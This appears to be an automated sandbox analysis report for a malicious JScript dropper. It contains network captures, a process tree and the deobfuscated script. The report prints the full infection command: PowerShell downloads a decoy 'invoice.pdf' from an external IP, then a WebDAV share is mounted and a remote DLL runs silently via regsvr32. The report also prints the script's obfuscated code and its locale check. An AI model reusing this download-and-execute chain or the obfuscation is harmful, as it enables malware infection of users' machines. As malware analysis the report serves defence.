Jan 10, 2025 22:08:51.920327902 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:08:52.737078905 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:08:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:08:52.737108946 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:08:52.737122059 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:08:52.737133980 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:08:52.737147093 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 22:08:52.737154961 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 22:08:52.737160921 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 22:08:52.737171888 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 22:08:52.737179041 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 22:08:52.737188101 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 22:08:52.791378975 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	193.143.1.205	8888	6496	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:08:54.478877068 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:08:55.248100996 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:08:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:08:47
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js"
Imagebase:	0x7ff7d4a10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:08:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll
Imagebase:	0x7ff646010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:08:48
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:08:48
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:08:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	16:08:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff646010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:08:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a8970000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:08:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	16:08:54
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x800000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:08:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1656,i,7439462766975430793,14181479011858444307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wrgqp() {	wrgqp() ➔ undefined
1	vwtexcy = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var glzwxac = this[wmmjib + mhdzne + gcffc + vmgkls + xhroulewm + bjjexit + qygwct + eykvok] ( this[ilcrrno + cnerkjn + porac + gcffc + keicrkylw + wmmjib + eykvok][btvgw + gcffc + xhroulewm + mhdzne + eykvok + xhroulewm + jkbtzpk + aoumj + oovylpe + xhroulewm + porac + eykvok] ( ilcrrno + cnerkjn + porac + gcffc + keicrkylw + wmmjib + eykvok + ftjkgvbbl + cnerkjn + vumdapd + xhroulewm + joicenkcb + joicenkcb ) [atroph + xhroulewm + rmchxbrpn + atroph + xhroulewm + mhdzne + obpmobbbg] ( krzil + jrukpplx + aqdclkpqc + ottiq + rucmwjcsj + btvgw + wemtg + atroph + atroph + aqdclkpqc + yhyhdpqgh + fndoa + rucmwjcsj + wemtg + cnerkjn + aqdclkpqc + atroph + nqrdgoya + btvgw + lliiyuv + qygwct + eykvok + gcffc + lliiyuv + joicenkcb + nibkd + hggbpo + mhdzne + qygwct + xhroulewm + joicenkcb + nqrdgoya + bjjexit + qygwct + eykvok + xhroulewm + gcffc + qygwct + mhdzne + eykvok + keicrkylw + lliiyuv + qygwct + mhdzne + joicenkcb + nqrdgoya + llwsacp + lliiyuv + porac + mhdzne + joicenkcb + xhroulewm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nztkjajsi = 0 ; nztkjajsi < vwtexcy[joicenkcb + xhroulewm + qygwct + rmchxbrpn + eykvok + vumdapd] ; ++ nztkjajsi )
4	{
5	if ( glzwxac == vwtexcy[nztkjajsi] )
6	{
7	glzwxac = true;
8	break ;
9	}
10	}
11	if ( glzwxac !== true )
12	this[ilcrrno + cnerkjn + porac + gcffc + keicrkylw + wmmjib + eykvok][ugbodlbcz + yzdhgjpox + keicrkylw + eykvok] ( );
13	this[ilcrrno + cnerkjn + porac + gcffc + keicrkylw + wmmjib + eykvok][btvgw + gcffc + xhroulewm + mhdzne + eykvok + xhroulewm + jkbtzpk + aoumj + oovylpe + xhroulewm + porac + eykvok] ( ilcrrno + cnerkjn + porac + gcffc + keicrkylw + wmmjib + eykvok + ftjkgvbbl + cnerkjn + vumdapd + xhroulewm + joicenkcb + joicenkcb ) [gcffc + yzdhgjpox + qygwct] ( porac + ymlkmsvb + obpmobbbg + nibkd + hvveeh + porac + nibkd + wmmjib + lliiyuv + purpl + xhroulewm + gcffc + vmgkls + vumdapd + xhroulewm + joicenkcb + joicenkcb + ftjkgvbbl + xhroulewm + iganoz + xhroulewm + nibkd + pmekwmu + btvgw + lliiyuv + ymlkmsvb + ymlkmsvb + mhdzne + qygwct + obpmobbbg + nibkd + abmjv + bjjexit + qygwct + xtpmhlfly + lliiyuv + axonwzdy + xhroulewm + pmekwmu + ilcrrno + xhroulewm + aoumj + atroph + xhroulewm + emaosxj + yzdhgjpox + xhroulewm + vmgkls + eykvok + nibkd + pmekwmu + jkbtzpk + yzdhgjpox + eykvok + mldhvmx + keicrkylw + joicenkcb + xhroulewm + nibkd + eccmluoxq + eykvok + xhroulewm + ymlkmsvb + wmmjib + eccmluoxq + nqrdgoya + keicrkylw + qygwct + xtpmhlfly + lliiyuv + keicrkylw + porac + xhroulewm + ftjkgvbbl + wmmjib + obpmobbbg + lrdtbpfj + nibkd + vumdapd + eykvok + eykvok + wmmjib + vvrvbxz + hvveeh + hvveeh + bfxtem + oodvrklh + zgsfmotft + ftjkgvbbl + bfxtem + dytnwm + zgsfmotft + ftjkgvbbl + bfxtem + ftjkgvbbl + korhw + wuvsiaep + wnrys + hvveeh + keicrkylw + qygwct + xtpmhlfly + lliiyuv + keicrkylw + porac + xhroulewm + ftjkgvbbl + wmmjib + vumdapd + wmmjib + abmjv + ovmurb + ovmurb + vmgkls + eykvok + mhdzne + gcffc + eykvok + nibkd + eccmluoxq + eykvok + xhroulewm + ymlkmsvb + wmmjib + eccmluoxq + nqrdgoya + keicrkylw + qygwct + xtpmhlfly + lliiyuv + keicrkylw + porac + xhroulewm + ftjkgvbbl + wmmjib + obpmobbbg + lrdtbpfj + ovmurb + ovmurb + porac + ymlkmsvb + obpmobbbg + nibkd + hvveeh + porac + nibkd + qygwct + xhroulewm + eykvok + nibkd + yzdhgjpox + vmgkls + xhroulewm + nibkd + nqrdgoya + nqrdgoya + bfxtem + oodvrklh + zgsfmotft + ftjkgvbbl + bfxtem + dytnwm + zgsfmotft + ftjkgvbbl + bfxtem + ftjkgvbbl + korhw + wuvsiaep + wnrys + jjflziuaa + cviuwbcer + cviuwbcer + cviuwbcer + cviuwbcer + nqrdgoya + obpmobbbg + mhdzne + xtpmhlfly + purpl + purpl + purpl + gcffc + lliiyuv + lliiyuv + eykvok + nqrdgoya + ovmurb + ovmurb + porac + ymlkmsvb + obpmobbbg + nibkd + hvveeh + porac + nibkd + gcffc + xhroulewm + rmchxbrpn + vmgkls + xtpmhlfly + gcffc + zgsfmotft + korhw + nibkd + hvveeh + vmgkls + nibkd + nqrdgoya + nqrdgoya + bfxtem + oodvrklh + zgsfmotft + ftjkgvbbl + bfxtem + dytnwm + zgsfmotft + ftjkgvbbl + bfxtem + ftjkgvbbl + korhw + wuvsiaep + wnrys + jjflziuaa + cviuwbcer + cviuwbcer + cviuwbcer + cviuwbcer + nqrdgoya + obpmobbbg + mhdzne + xtpmhlfly + purpl + purpl + purpl + gcffc + lliiyuv + lliiyuv + eykvok + nqrdgoya + korhw + zgsfmotft + korhw + nofyal + oodvrklh + korhw + bfxtem + cviuwbcer + rlwnmetw + korhw + korhw + cviuwbcer + korhw + nofyal + oodvrklh + ftjkgvbbl + obpmobbbg + joicenkcb + joicenkcb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll",0,false) ➔ 0
14	}
15	nqrdgoya = "s";
16	nqrdgoya = "f";
17	nqrdgoya = "n";
18	nqrdgoya = "H";
19	nqrdgoya = "p";
20	nqrdgoya = "i";
21	nqrdgoya = "I";
22	nqrdgoya = "x";
23	nqrdgoya = "g";
24	nqrdgoya = "N";
25	nqrdgoya = "z";
26	nqrdgoya = "Q";
27	nqrdgoya = "B";
28	nqrdgoya = "a";
29	nqrdgoya = "l";
30	nqrdgoya = "T";
31	nqrdgoya = "f";
32	nqrdgoya = "V";
33	nqrdgoya = "X";
34	nqrdgoya = "I";
35	nqrdgoya = "C";
36	nqrdgoya = "L";
37	nqrdgoya = "Z";
38	nqrdgoya = "s";
39	nqrdgoya = "s";
40	nqrdgoya = "\\";
41	ftjkgvbbl = "S";
42	ftjkgvbbl = "C";
43	ftjkgvbbl = "s";
44	ftjkgvbbl = "m";
45	ftjkgvbbl = "a";
46	ftjkgvbbl = "p";
47	ftjkgvbbl = "r";
48	ftjkgvbbl = ".";
49	krzil = "x";
50	krzil = "a";
51	krzil = "x";
52	krzil = "x";
53	krzil = "J";
54	krzil = "H";
55	krzil = "O";
56	krzil = "z";
57	krzil = "l";
58	krzil = "n";
59	krzil = "K";
60	krzil = "A";
61	krzil = "y";
62	krzil = "A";
63	krzil = "d";
64	krzil = "J";
65	krzil = "U";
66	krzil = "y";
67	krzil = "Q";
68	krzil = "Q";
69	krzil = "h";
70	krzil = "a";
71	krzil = "J";
72	krzil = "b";
73	krzil = "t";
74	krzil = "X";
75	krzil = "H";
76	krzil = "X";
77	krzil = "b";
78	krzil = "W";
79	krzil = "D";
80	krzil = "V";
81	krzil = "S";
82	krzil = "k";
83	krzil = "H";
84	aqdclkpqc = "W";
85	aqdclkpqc = "I";
86	aqdclkpqc = "J";
87	aqdclkpqc = "V";
88	aqdclkpqc = "H";
89	aqdclkpqc = "w";
90	aqdclkpqc = "v";
91	aqdclkpqc = "E";
92	iganoz = "I";
93	iganoz = "c";
94	iganoz = "W";
95	iganoz = "F";
96	iganoz = "w";
97	iganoz = "M";
98	iganoz = "m";
99	iganoz = "I";
100	iganoz = "j";
101	iganoz = "o";
102	iganoz = "S";
103	iganoz = "i";
104	iganoz = "x";
105	iganoz = "X";
106	iganoz = "h";
107	iganoz = "S";
108	iganoz = "L";
109	iganoz = "k";
110	iganoz = "n";
111	iganoz = "X";
112	iganoz = "o";
113	iganoz = "V";
114	iganoz = "Z";
115	iganoz = "U";
116	iganoz = "D";
117	iganoz = "L";
118	iganoz = "D";
119	iganoz = "l";
120	iganoz = "q";
121	iganoz = "u";
122	iganoz = "M";
123	iganoz = "a";
124	iganoz = "S";
125	iganoz = "r";
126	iganoz = "x";
127	mldhvmx = "C";
128	mldhvmx = "u";
129	mldhvmx = "u";
130	mldhvmx = "e";
131	mldhvmx = "O";
132	mldhvmx = "L";
133	mldhvmx = "v";
134	mldhvmx = "Y";
135	mldhvmx = "y";
136	mldhvmx = "y";
137	mldhvmx = "j";
138	mldhvmx = "Y";
139	mldhvmx = "A";
140	mldhvmx = "O";
141	mldhvmx = "I";
142	mldhvmx = "d";
143	mldhvmx = "k";
144	mldhvmx = "S";
145	mldhvmx = "K";
146	mldhvmx = "o";
147	mldhvmx = "z";
148	mldhvmx = "U";
149	mldhvmx = "q";
150	mldhvmx = "z";
151	mldhvmx = "d";
152	mldhvmx = "A";
153	mldhvmx = "e";
154	mldhvmx = "B";
155	mldhvmx = "m";
156	mldhvmx = "B";
157	mldhvmx = "M";
158	mldhvmx = "s";
159	mldhvmx = "H";
160	mldhvmx = "K";
161	mldhvmx = "F";
162	lliiyuv = "t";
163	lliiyuv = "U";
164	lliiyuv = "z";
165	lliiyuv = "F";
166	lliiyuv = "g";
167	lliiyuv = "g";
168	lliiyuv = "g";
169	lliiyuv = "P";
170	lliiyuv = "V";
171	lliiyuv = "V";
172	lliiyuv = "C";
173	lliiyuv = "k";
174	lliiyuv = "i";
175	lliiyuv = "H";
176	lliiyuv = "O";
177	lliiyuv = "T";
178	lliiyuv = "c";
179	lliiyuv = "C";
180	lliiyuv = "E";
181	lliiyuv = "d";
182	lliiyuv = "A";
183	lliiyuv = "h";
184	lliiyuv = "R";
185	lliiyuv = "B";
186	lliiyuv = "J";
187	lliiyuv = "R";
188	lliiyuv = "J";
189	lliiyuv = "c";
190	lliiyuv = "x";
191	lliiyuv = "B";
192	lliiyuv = "X";
193	lliiyuv = "l";
194	lliiyuv = "N";
195	lliiyuv = "i";
196	lliiyuv = "j";
197	lliiyuv = "O";
198	lliiyuv = "J";
199	lliiyuv = "r";
200	lliiyuv = "T";
201	lliiyuv = "Z";
202	lliiyuv = "C";
203	lliiyuv = "o";
204	lrdtbpfj = "T";
205	lrdtbpfj = "X";
206	lrdtbpfj = "Z";
207	lrdtbpfj = "Y";
208	lrdtbpfj = "q";
209	lrdtbpfj = "x";
210	lrdtbpfj = "I";
211	lrdtbpfj = "f";
212	aoumj = "u";
213	aoumj = "S";
214	aoumj = "Q";
215	aoumj = "N";
216	aoumj = "j";
217	aoumj = "o";
218	aoumj = "W";
219	aoumj = "E";
220	aoumj = "w";
221	aoumj = "q";
222	aoumj = "b";
223	obpmobbbg = "B";
224	obpmobbbg = "l";
225	obpmobbbg = "N";
226	obpmobbbg = "j";
227	obpmobbbg = "w";
228	obpmobbbg = "F";
229	obpmobbbg = "T";
230	obpmobbbg = "h";
231	obpmobbbg = "e";
232	obpmobbbg = "x";
233	obpmobbbg = "L";
234	obpmobbbg = "n";
235	obpmobbbg = "o";
236	obpmobbbg = "L";
237	obpmobbbg = "B";
238	obpmobbbg = "e";
239	obpmobbbg = "u";
240	obpmobbbg = "u";
241	obpmobbbg = "d";
242	obpmobbbg = "s";
243	obpmobbbg = "V";
244	obpmobbbg = "M";
245	obpmobbbg = "H";
246	obpmobbbg = "m";
247	obpmobbbg = "G";
248	obpmobbbg = "x";
249	obpmobbbg = "b";
250	obpmobbbg = "H";
251	obpmobbbg = "F";
252	obpmobbbg = "F";
253	obpmobbbg = "o";
254	obpmobbbg = "J";
255	obpmobbbg = "J";
256	obpmobbbg = "N";
257	obpmobbbg = "X";
258	obpmobbbg = "q";
259	obpmobbbg = "h";
260	obpmobbbg = "j";
261	obpmobbbg = "H";
262	obpmobbbg = "W";
263	obpmobbbg = "D";
264	obpmobbbg = "d";
265	jrukpplx = "k";
266	jrukpplx = "u";
267	jrukpplx = "w";
268	jrukpplx = "l";
269	jrukpplx = "P";
270	jrukpplx = "u";
271	jrukpplx = "g";
272	jrukpplx = "f";
273	jrukpplx = "K";
274	purpl = "N";
275	purpl = "e";
276	purpl = "t";
277	purpl = "o";
278	purpl = "Q";
279	purpl = "g";
280	purpl = "E";
281	purpl = "h";
282	purpl = "v";
283	purpl = "e";
284	purpl = "M";
285	purpl = "o";
286	purpl = "v";
287	purpl = "G";
288	purpl = "I";
289	purpl = "z";
290	purpl = "f";
291	purpl = "H";
292	purpl = "p";
293	purpl = "c";
294	purpl = "M";
295	purpl = "T";
296	purpl = "Z";
297	purpl = "T";
298	purpl = "S";
299	purpl = "o";
300	purpl = "m";
301	purpl = "w";
302	mhdzne = "Z";
303	mhdzne = "W";
304	mhdzne = "k";
